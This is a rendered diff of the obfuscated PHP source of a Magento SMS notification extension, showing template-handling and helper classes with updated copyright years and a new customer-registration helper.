_prepareText($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = null, $i7a5ea366969a291381fafa1448c9a2fafd34ad5e = null, $i9ec689e1c80cd31f364efa77b20f79dcf2612cf0 = null) { if (Mage::registry('magesms_store_id')) Mage::unregister('magesms_store_id'); Mage::register('magesms_store_id', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66, true); if (preg_match_all('/{(.*?)}/', $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, $ia00c63b7b8f0d76f361b9bd281e5073cc0d0aa3e)) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b = array(); foreach($ia00c63b7b8f0d76f361b9bd281e5073cc0d0aa3e[1] as $iebd691e534c6cf2e84cf8a88790a5271154fca05) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b[$iebd691e534c6cf2e84cf8a88790a5271154fca05] = '{'.$iebd691e534c6cf2e84cf8a88790a5271154fca05.'}'; } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_domain'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_domain'] = Mage::getStoreConfig('web/unsecure/base_url', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name'] = Mage::getStoreConfig('general/store_information/name', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); if (empty($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name'])) { if (!empty($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66)) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name'] = Mage::getModel('core/store')->load($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66)->getName(); } else { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name'] = Mage::app()->getStore()->getName(); } } } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_email'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_email'] = Mage::getStoreConfig('trans_email/ident_general/email', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_phone'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_phone'] = Mage::getStoreConfig('general/store_information/phone', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); } if (is_object($i7a5ea366969a291381fafa1448c9a2fafd34ad5e) && $i7a5ea366969a291381fafa1448c9a2fafd34ad5e instanceof Varien_Object) { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'] = $i7a5ea366969a291381fafa1448c9a2fafd34ad5e->getFirstname(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname'] = $i7a5ea366969a291381fafa1448c9a2fafd34ad5e->getLastname(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'] = $i7a5ea366969a291381fafa1448c9a2fafd34ad5e->getEmail(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_phone'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_phone'] = $i7a5ea366969a291381fafa1448c9a2fafd34ad5e->getTelephone(); } } if (!empty($i9ec689e1c80cd31f364efa77b20f79dcf2612cf0) && is_object($i9ec689e1c80cd31f364efa77b20f79dcf2612cf0)) { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_name'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_name'] = $i9ec689e1c80cd31f364efa77b20f79dcf2612cf0->getName(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_code'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_code'] = $i9ec689e1c80cd31f364efa77b20f79dcf2612cf0->getCoupon()->getCode(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_description'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_description'] = $i9ec689e1c80cd31f364efa77b20f79dcf2612cf0->getDescription(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_reduction_percent'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_reduction_percent'] = Mage::helper('core')->currency($i9ec689e1c80cd31f364efa77b20f79dcf2612cf0->getDiscountAmount(), false, false); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_reduction_amount'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_reduction_amount'] = Mage::helper('core')->currency($i9ec689e1c80cd31f364efa77b20f79dcf2612cf0->getDiscountAmount(), false, false); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_reduction_currency'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_reduction_currency'] = Mage::app()->getStore($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66)->getCurrentCurrencyCode(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_date_start'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_date_start'] = $i9ec689e1c80cd31f364efa77b20f79dcf2612cf0->getFromDate(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_date_end'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_date_end'] = $i9ec689e1c80cd31f364efa77b20f79dcf2612cf0->getToDate(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_quantity'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_quantity'] = (int)$i9ec689e1c80cd31f364efa77b20f79dcf2612cf0->getDiscountQty(); } } foreach($i0933475b5bd80561a9f50282fd9eb0b8345cec4b as $i670253c23c6fcba76bc4256a88fdd8fbc1041039=>$if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa = str_replace('{'.$i670253c23c6fcba76bc4256a88fdd8fbc1041039.'}', $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89, $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa); } } return $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa; } protected function _saveTemplate($iacea0d13bc5e2676192c06d68cb091dc0ce26320 = true) { $id82aaf2f437652c4b6efbd55703199f614e8e516 = ''; if ($iacea0d13bc5e2676192c06d68cb091dc0ce26320) { $i1791b2d1f89bb2bd83b34046f59125af207713db = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'magesms_marketing_templateform', array('template' => 'topefekt/magesms/template/form.phtml') ); $id82aaf2f437652c4b6efbd55703199f614e8e516 = $i1791b2d1f89bb2bd83b34046f59125af207713db->toHtml(); } $i42cf41da37138d64d37b0778e6561aab5e1239d6 = $this->getLayout()->createBlock('magesms/template_template'); return $id82aaf2f437652c4b6efbd55703199f614e8e516.$i42cf41da37138d64d37b0778e6561aab5e1239d6->toHtml(); } protected function _initAction() { parent::_initAction(); $this->getLayout()->getBlock('head')->addJs('topefekt/template.js'); $i3358fd35282548f1f8ccafbf23d60a4ade466fd3 = '
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Controller_Template_Action extends Topefekt_Magesms_Controller_Action { public function templateAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ($this->getRequest()->getParams()) { $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2 = $this->getRequest(); if ($i1507c94b68f51b22087227858337782550edf618 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('action')) { try { switch ($i1507c94b68f51b22087227858337782550edf618) { case 'saveTemplate': $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($this->_saveTemplate()); break; case 'loadTemplate': $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($this->_saveTemplate(false)); break; case 'save': if ($this->getRequest()->isPost()) { $iefc930e6dfdf3023610ed7d663c73d176a7544e0 = Mage::getModel('magesms/template'); $iefc930e6dfdf3023610ed7d663c73d176a7544e0->setData(array( 'name' => $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('saveName'), 'template' => $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('text'), 'unicode' => $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('unicode'), 'unique' => $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('unique'), 'date' => date('Y-m-d H:i:s'), 'type' => $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('type') )); $iefc930e6dfdf3023610ed7d663c73d176a7544e0->save(); } break; case 'remove': if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('id')) { $iefc930e6dfdf3023610ed7d663c73d176a7544e0 = Mage::getModel('magesms/template'); $iefc930e6dfdf3023610ed7d663c73d176a7544e0->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); $iefc930e6dfdf3023610ed7d663c73d176a7544e0->delete(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($this->_saveTemplate(false)); } break; case 'restore': if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('id')) { $iefc930e6dfdf3023610ed7d663c73d176a7544e0 = Mage::getModel('magesms/template'); $iefc930e6dfdf3023610ed7d663c73d176a7544e0->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->addData(array('data' => $iefc930e6dfdf3023610ed7d663c73d176a7544e0->getData())); } break; } } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); } } } $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } protected function _prepareText($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = null, $i7a5ea366969a291381fafa1448c9a2fafd34ad5e = null, $i9ec689e1c80cd31f364efa77b20f79dcf2612cf0 = null) { if (Mage::registry('magesms_store_id')) Mage::unregister('magesms_store_id'); Mage::register('magesms_store_id', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66, true); if (preg_match_all('/{(.*?)}/', $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, $ia00c63b7b8f0d76f361b9bd281e5073cc0d0aa3e)) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b = array(); foreach($ia00c63b7b8f0d76f361b9bd281e5073cc0d0aa3e[1] as $iebd691e534c6cf2e84cf8a88790a5271154fca05) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b[$iebd691e534c6cf2e84cf8a88790a5271154fca05] = '{'.$iebd691e534c6cf2e84cf8a88790a5271154fca05.'}'; } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_domain'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_domain'] = Mage::getStoreConfig('web/unsecure/base_url', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name'] = Mage::getStoreConfig('general/store_information/name', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); if (empty($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name'])) { if (!empty($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66)) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name'] = Mage::getModel('core/store')->load($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66)->getName(); } else { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name'] = Mage::app()->getStore()->getName(); } } } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_email'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_email'] = Mage::getStoreConfig('trans_email/ident_general/email', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_phone'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_phone'] = Mage::getStoreConfig('general/store_information/phone', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); } if (is_object($i7a5ea366969a291381fafa1448c9a2fafd34ad5e) && $i7a5ea366969a291381fafa1448c9a2fafd34ad5e instanceof Varien_Object) { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'] = $i7a5ea366969a291381fafa1448c9a2fafd34ad5e->getFirstname(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname'] = $i7a5ea366969a291381fafa1448c9a2fafd34ad5e->getLastname(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'] = $i7a5ea366969a291381fafa1448c9a2fafd34ad5e->getEmail(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_phone'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_phone'] = $i7a5ea366969a291381fafa1448c9a2fafd34ad5e->getTelephone(); } } if (!empty($i9ec689e1c80cd31f364efa77b20f79dcf2612cf0) && is_object($i9ec689e1c80cd31f364efa77b20f79dcf2612cf0)) { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_name'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_name'] = $i9ec689e1c80cd31f364efa77b20f79dcf2612cf0->getName(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_code'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_code'] = $i9ec689e1c80cd31f364efa77b20f79dcf2612cf0->getCoupon()->getCode(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_description'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_description'] = $i9ec689e1c80cd31f364efa77b20f79dcf2612cf0->getDescription(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_reduction_percent'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_reduction_percent'] = Mage::helper('core')->currency($i9ec689e1c80cd31f364efa77b20f79dcf2612cf0->getDiscountAmount(), false, false); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_reduction_amount'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_reduction_amount'] = Mage::helper('core')->currency($i9ec689e1c80cd31f364efa77b20f79dcf2612cf0->getDiscountAmount(), false, false); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_reduction_currency'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_reduction_currency'] = Mage::app()->getStore($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66)->getCurrentCurrencyCode(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_date_start'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_date_start'] = $i9ec689e1c80cd31f364efa77b20f79dcf2612cf0->getFromDate(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_date_end'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_date_end'] = $i9ec689e1c80cd31f364efa77b20f79dcf2612cf0->getToDate(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_quantity'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['coupon_quantity'] = (int)$i9ec689e1c80cd31f364efa77b20f79dcf2612cf0->getDiscountQty(); } } foreach($i0933475b5bd80561a9f50282fd9eb0b8345cec4b as $i670253c23c6fcba76bc4256a88fdd8fbc1041039=>$if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa = str_replace('{'.$i670253c23c6fcba76bc4256a88fdd8fbc1041039.'}', $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89, $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa); } } return $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa; } protected function _saveTemplate($iacea0d13bc5e2676192c06d68cb091dc0ce26320 = true) { $id82aaf2f437652c4b6efbd55703199f614e8e516 = ''; if ($iacea0d13bc5e2676192c06d68cb091dc0ce26320) { $i1791b2d1f89bb2bd83b34046f59125af207713db = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'magesms_marketing_templateform', array('template' => 'topefekt/magesms/template/form.phtml') ); $id82aaf2f437652c4b6efbd55703199f614e8e516 = $i1791b2d1f89bb2bd83b34046f59125af207713db->toHtml(); } $i42cf41da37138d64d37b0778e6561aab5e1239d6 = $this->getLayout()->createBlock('magesms/template_template'); return $id82aaf2f437652c4b6efbd55703199f614e8e516.$i42cf41da37138d64d37b0778e6561aab5e1239d6->toHtml(); } protected function _initAction() { parent::_initAction(); $this->getLayout()->getBlock('head')->addJs('topefekt/template.js'); $i3358fd35282548f1f8ccafbf23d60a4ade466fd3 = '
app/code/community/Topefekt/Magesms/Helper/Adminhtml/Data.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Helper_Adminhtml_Data extends Mage_Adminhtml_Helper_Data { public function setPageHelpUrl($ic157485eecbe64d400493d7b9e7f434b83aca5d0=null) { if (strpos(Mage::app()->getRequest()->getControllerName(), 'magesms_') === 0) { $i593f9fb6306ab4cdb862f1ef6769504d63647c90 = Mage::getStoreConfig('magesms/template/language').'/'; if ($i593f9fb6306ab4cdb862f1ef6769504d63647c90 == 'en') $i593f9fb6306ab4cdb862f1ef6769504d63647c90 = ''; $this->_pageHelpUrl = 'http://www.mage-sms.com/'.$i593f9fb6306ab4cdb862f1ef6769504d63647c90.Mage::helper('magesms')->__('manual').'.html'; } else { return parent::setPageHelpUrl($ic157485eecbe64d400493d7b9e7f434b83aca5d0); } return $this; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Helper_Adminhtml_Data extends Mage_Adminhtml_Helper_Data { public function setPageHelpUrl($ic157485eecbe64d400493d7b9e7f434b83aca5d0 = null, $ic7752ffb9aa086c6975d05c8329ca1dc33347b5f = null) { if (strpos(Mage::app()->getRequest()->getControllerName(), 'magesms_') === 0) { $i593f9fb6306ab4cdb862f1ef6769504d63647c90 = Mage::getStoreConfig('magesms/template/language').'/'; if ($i593f9fb6306ab4cdb862f1ef6769504d63647c90 == 'en') $i593f9fb6306ab4cdb862f1ef6769504d63647c90 = ''; $this->_pageHelpUrl = 'http://www.mage-sms.com/'.$i593f9fb6306ab4cdb862f1ef6769504d63647c90.Mage::helper('magesms')->__('manual').'.html'; } else { return parent::setPageHelpUrl($ic157485eecbe64d400493d7b9e7f434b83aca5d0, $ic7752ffb9aa086c6975d05c8329ca1dc33347b5f); } return $this; } }
app/code/community/Topefekt/Magesms/Helper/Customer.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Helper_Customer extends Mage_Customer_Helper_Data { public function getRegisterUrl() { if (Mage::getStoreConfig('magesms/smsvalid/customer') != 1) return parent::getRegisterUrl(); return $this->_getUrl('magesms/validate/mobile'); } }
app/code/community/Topefekt/Magesms/Helper/Data.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Helper_Data extends Mage_Adminhtml_Helper_Data { const MAGESMS_ENABLE = 'magesms/magesms/enable'; private $v148194b5b9cc653ce2e35e9709e441dc6fd4123a = array(); public function isActive($ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = null) { return Mage::getStoreConfig(self::MAGESMS_ENABLE, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66); } public function prepareFilterString($i215e94a3ecdacdf2b3af7056dddcbb72bf4f3ad2) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = array(); $i215e94a3ecdacdf2b3af7056dddcbb72bf4f3ad2 = base64_decode($i215e94a3ecdacdf2b3af7056dddcbb72bf4f3ad2); parse_str($i215e94a3ecdacdf2b3af7056dddcbb72bf4f3ad2, $ia61712c27ea241bd7a543dc2b02ea572274d0322); array_walk_recursive($ia61712c27ea241bd7a543dc2b02ea572274d0322, array($this, 'decodeFilter')); return $ia61712c27ea241bd7a543dc2b02ea572274d0322; } public function decodeFilter(&$ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89 = rawurldecode($ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89); } public function strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749d7c53db4e1e286ce8a65b930c9d93cdabb069954b) { return strlen(utf8_decode($ibcdf76f8c9ddc330c79f805116a8bb146c43749d7c53db4e1e286ce8a65b930c9d93cdabb069954b)); } public function substr($ibcdf76f8c9ddc330c79f805116a8bb146c43749d7c53db4e1e286ce8a65b930c9d93cdabb069954b, $ibcdf76f8c9ddc330c79f805116a8bb146c43749dee10b1113e98c522f9d7b19b278ac191206cf98d, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d4616676bff4c07942c8542e6b4e0ccf29d473424 = -1) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d353d238323208401995f652ac6757c9d9fd6d8d5 = preg_split('//u', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d7c53db4e1e286ce8a65b930c9d93cdabb069954b, -1); $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd3f9e660973a05c72dd2df52c035747f20824128 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d4616676bff4c07942c8542e6b4e0ccf29d473424 == -1 ? count($ibcdf76f8c9ddc330c79f805116a8bb146c43749d353d238323208401995f652ac6757c9d9fd6d8d5) : $ibcdf76f8c9ddc330c79f805116a8bb146c43749d4616676bff4c07942c8542e6b4e0ccf29d473424; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d43e9cdc24374813037dc691df23094b5f8072dac = ''; for($ibcdf76f8c9ddc330c79f805116a8bb146c43749d=$ibcdf76f8c9ddc330c79f805116a8bb146c43749dee10b1113e98c522f9d7b19b278ac191206cf98d; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d<$ibcdf76f8c9ddc330c79f805116a8bb146c43749dd3f9e660973a05c72dd2df52c035747f20824128; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d++) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d43e9cdc24374813037dc691df23094b5f8072dac .= $ibcdf76f8c9ddc330c79f805116a8bb146c43749d353d238323208401995f652ac6757c9d9fd6d8d5[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; return $ibcdf76f8c9ddc330c79f805116a8bb146c43749d43e9cdc24374813037dc691df23094b5f8072dac; } public function strpos($icf8e6d55f3b73687e31b5bfb7df726c05be874e6, $ibcdf76f8c9ddc330c79f805116a8bb146c43749dfba351358ab7c7f378315c6b3cb913d7f4d7b0fa, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d37e0852c5c95f9440a8999674f38c2ab1fbd56e2 = 0) { return mb_strpos($icf8e6d55f3b73687e31b5bfb7df726c05be874e6, $ibcdf76f8c9ddc330c79f805116a8bb146c43749dfba351358ab7c7f378315c6b3cb913d7f4d7b0fa, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d37e0852c5c95f9440a8999674f38c2ab1fbd56e2, 'UTF-8'); } public function detectLang($ibcdf76f8c9ddc330c79f805116a8bb146c43749dccb00baf62ef7b52dab4785b2fe3e5d6471b5d03 = false) { if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d593f9fb6306ab4cdb862f1ef6769504d63647c90 = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($ibcdf76f8c9ddc330c79f805116a8bb146c43749d593f9fb6306ab4cdb862f1ef6769504d63647c90[1])) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749db473854f4b306e706e896b68ceb14665e7bc5475 = explode(';', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d593f9fb6306ab4cdb862f1ef6769504d63647c90[1]); if (!empty($ibcdf76f8c9ddc330c79f805116a8bb146c43749db473854f4b306e706e896b68ceb14665e7bc5475[0])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d593f9fb6306ab4cdb862f1ef6769504d63647c90[1] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749db473854f4b306e706e896b68ceb14665e7bc5475[0]; } $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getModel('magesms/country_lang')->getCollection(); $iff7e46827cbb6547116c592bf800f4687428abf9->addFilter('lang', strtolower($ibcdf76f8c9ddc330c79f805116a8bb146c43749d593f9fb6306ab4cdb862f1ef6769504d63647c90[0])); foreach ($iff7e46827cbb6547116c592bf800f4687428abf9 as $i4cf0596ef3a67e5add95b49723a3c49aecd1dbd3) { return $ibcdf76f8c9ddc330c79f805116a8bb146c43749dccb00baf62ef7b52dab4785b2fe3e5d6471b5d03 ? $i4cf0596ef3a67e5add95b49723a3c49aecd1dbd3->getData('iso2') : $i4cf0596ef3a67e5add95b49723a3c49aecd1dbd3->getData('country_name'); } if (!empty($ibcdf76f8c9ddc330c79f805116a8bb146c43749d593f9fb6306ab4cdb862f1ef6769504d63647c90[1])) { $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getModel('magesms/country_lang')->getCollection(); $iff7e46827cbb6547116c592bf800f4687428abf9->addFilter('lang', strtolower($ibcdf76f8c9ddc330c79f805116a8bb146c43749d593f9fb6306ab4cdb862f1ef6769504d63647c90[1])); foreach ($iff7e46827cbb6547116c592bf800f4687428abf9 as $i4cf0596ef3a67e5add95b49723a3c49aecd1dbd3) { return $ibcdf76f8c9ddc330c79f805116a8bb146c43749dccb00baf62ef7b52dab4785b2fe3e5d6471b5d03 ? $i4cf0596ef3a67e5add95b49723a3c49aecd1dbd3->getData('iso2') : $i4cf0596ef3a67e5add95b49723a3c49aecd1dbd3->getData('country_name'); } } Mage::log('Dont detect lang: '.$_SERVER['HTTP_ACCEPT_LANGUAGE']); } return 'en'; } public function formatPrice($ibcdf76f8c9ddc330c79f805116a8bb146c43749d58457975a91d59a84d2920953badcb7365ac1f01, $i2457499363c0873527a65aa9ad19ce774bd79cbc = 4) { return 